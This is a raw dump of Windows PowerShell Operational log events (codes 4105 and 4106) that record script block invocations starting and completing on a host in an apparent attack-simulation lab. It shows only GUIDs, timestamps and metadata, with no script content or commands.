OpCode=On create calls
RecordNumber=2036944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036939
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036933
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036911
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036909
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036908
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036891
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
